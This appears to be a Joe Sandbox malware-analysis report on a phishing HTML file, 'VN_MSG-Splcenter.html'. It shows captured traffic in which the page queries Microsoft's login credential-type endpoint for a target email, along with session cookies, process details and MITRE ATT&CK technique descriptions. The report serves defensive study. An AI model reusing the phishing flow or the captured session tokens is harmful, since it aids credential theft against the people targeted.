esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdbv8CXBhuQbLQf1VY8MqnNC-5UZYaZF1OlluX4YSlt5fpLPqlPZyTNOQ8sZICZKVEswwmXqutwe5Lasjy0N0_IfWDaTyI6ZUt7X6jcepT_6XgN4yGPRngY9BiMj6hoirDQRwvfaa4LEap0wDPHaRoIChDelQ7ZILRV3A-rIcz3kgAA; esctx-aKxRFnyWKM=AQABCQEAAABVrSpeuWamRam2jAF1XRQElBMnk3lhtaavH5x0_R3OCGibHy9JJybbIp0Jt0DaTjl8WS_mS0Xa0pNc3DD2sR-izExje7colbezsJt8Jc6czFKvPjV0eHjDJ9q_3QUJkyAOIA-9UgvzAtPOdpM1gussUpmZORLaqGtb65hxhwLSAyAA; fpc=ArNZiE-suGVClIK0j8HrpL68Ae7AAQAAANwQXN8OAAAA; MicrosoftApplicationsTelemetryDeviceId=90345 [TRUNCATED]
2025-03-06 21:56:06 UTC	2042	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 35 39 63 34 64 40 68 61 71 6c 68 74 76 2e 6e 65 74 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 6a 64 4b 39 69 79 4e 31 47 41 66 77 54 4c 4b 62 33 59 30 76 47 30 36 52 73 78 43 32 45 42 48 50 53 65 62 39 5a 65 47 4b 79 66 74 4d 4d 70 6c 73 64 6a 4b 54 6a 45 58 49 54 47 5a 32 33 6e 34 7a 79 62 7a 6c 35 Data Ascii: {"username":"b59c4d@haqlhtv.net","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAjdK9iyN1GAfwTLKb3Y0vG06RsxC2EBHPSeb9ZeGKyftMMplsdjKTjEXITGZ23n4zybzl5
2025-03-06 21:56:07 UTC	1620	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: c78ca9f6-666c-4189-a6c8-50defdad580f x-ms-request-id: bed44615-761a-43a6-b52f-7f25fb137400 x-ms-ests-server: 2.1.20139.6 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-DWPPklNns6dBpvySy7ZjDA' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: fpc=ArNZiE-suGVClIK0j8HrpL68Ae7AAQAAANwQXN8OAAAA; expires=Sat, 05-Apr-2025 21:56:06 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 06 Mar 2025 21:56:06 GMT Connection: close Content-Length: 1271
2025-03-06 21:56:07 UTC	1271	IN	Data Raw: 7b 22 55 73 65 72 6e 61 6d 65 22 3a 22 62 35 39 63 34 64 40 68 61 71 6c 68 74 76 2e 6e 65 74 22 2c 22 44 69 73 70 6c 61 79 22 3a 22 62 35 39 63 34 64 40 68 61 71 6c 68 74 76 2e 6e 65 74 22 2c 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 31 2c 22 49 73 55 6e 6d 61 6e 61 67 65 64 22 3a 66 61 6c 73 65 2c 22 54 68 72 6f 74 74 6c 65 53 74 61 74 75 73 22 3a 31 2c 22 43 72 65 64 65 6e 74 69 61 6c 73 22 3a 7b 22 50 72 65 66 43 72 65 64 65 6e 74 69 61 6c 22 3a 31 2c 22 48 61 73 50 61 73 73 77 6f 72 64 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 65 4e 67 63 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 46 69 64 6f 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 51 72 43 6f 64 65 50 69 6e 50 61 72 61 6d 73 22 3a 6e 75 6c 6c 2c 22 53 61 73 50 61 72 61 6d 73 22 3a 6e 75 6c 6c Data Ascii: {"Username":"b59c4d@haqlhtv.net","Display":"b59c4d@haqlhtv.net","IfExistsResult":1,"IsUnmanaged":false,"ThrottleStatus":1,"Credentials":{"PrefCredential":1,"HasPassword":true,"RemoteNgcParams":null,"FidoParams":null,"QrCodePinParams":null,"SasParams":null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49925	40.126.32.133	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:56:09 UTC	1598	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.microsoftonline.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: esctx-o5hmElAb9b8=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAZ5w3bUrYbMIuMck-Ecql_diaEKAntEg63fe2ysZVdaOT9XYaKgZrECugfczZ46IgN2sWnFgPFSPp8nMZY0H9Lm6GdnfPGBZyOo7bH0iMV1eAB2RhDxS-1zNVCtDEksXsBVRXC9PrTIeFIZdhGEEkiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AUsAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABLAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEJK9ZJqdhv9v_qmyvVAlsR1APNn6zj-1xI7rDNNDvZK11zGWQMz3xRpBkix8TbIA2FxowiFvY37jkeKmOVnhwWAVaic8AYW-YAdJF3stOftYgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdbv8CXBhuQbLQf1VY8MqnNC-5UZYaZF1OlluX4YSlt5fpLPqlPZyTNOQ8sZICZKVEswwmXqutwe5Lasjy0N0_IfWDaTyI6ZUt7X6jcepT_6XgN4yGPRngY9BiMj6hoirDQRwvfaa4LEap0wDPHaRoIChDelQ7ZILRV3A-rIcz3kgAA; esctx-aKxRFnyWKM=AQABCQEAAABVrSpeuWamRam2jAF1XRQElBMnk3lhtaavH5x0_R3OCGibHy9JJybbIp0Jt0DaTjl8WS_mS0Xa0pNc3DD2sR-izExje7colbezsJt8Jc6czFKvPjV0eHjDJ9q_3QUJkyAOIA-9UgvzAtPOdpM1gussUpmZORLaqGtb65hxhwLSAyAA; fpc=ArNZiE-suGVClIK0j8HrpL68Ae7AAQAAANwQXN8OAAAA; MicrosoftApplicationsTelemetryDeviceId=90345 [TRUNCATED]
2025-03-06 21:56:09 UTC	1562	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 05ac8a52-2bad-4033-a983-22f706997000 x-ms-ests-server: 2.1.20139.6 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-Q-2WlB5rVYhp5fEwbR81UQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: fpc=ArNZiE-suGVClIK0j8HrpL68Ae7AAQAAANwQXN8OAAAA; expires=Sat, 05-Apr-2025 21:56:09 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 06 Mar 2025 21:56:09 GMT Connection: close Content-Length: 164
2025-03-06 21:56:09 UTC	164	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 65 33 66 64 63 33 62 35 2d 64 65 30 64 2d 34 63 65 66 2d 39 37 62 38 2d 61 35 32 66 35 66 31 31 39 30 61 66 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 35 2d 30 33 2d 30 36 20 32 31 3a 35 36 3a 30 39 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d Data Ascii: {"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"e3fdc3b5-de0d-4cef-97b8-a52f5f1190af","timestamp":"2025-03-06 21:56:09Z","message":"AADSTS900561"}}

Target ID:	0
Start time:	16:54:41
Start date:	06/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\VN_MSG-Splcenter.html"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:54:44
Start date:	06/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1808,i,11259939313159330260,10342011823358960572,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VN_MSG-Splcenter.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Windows Analysis Report
VN_MSG-Splcenter.html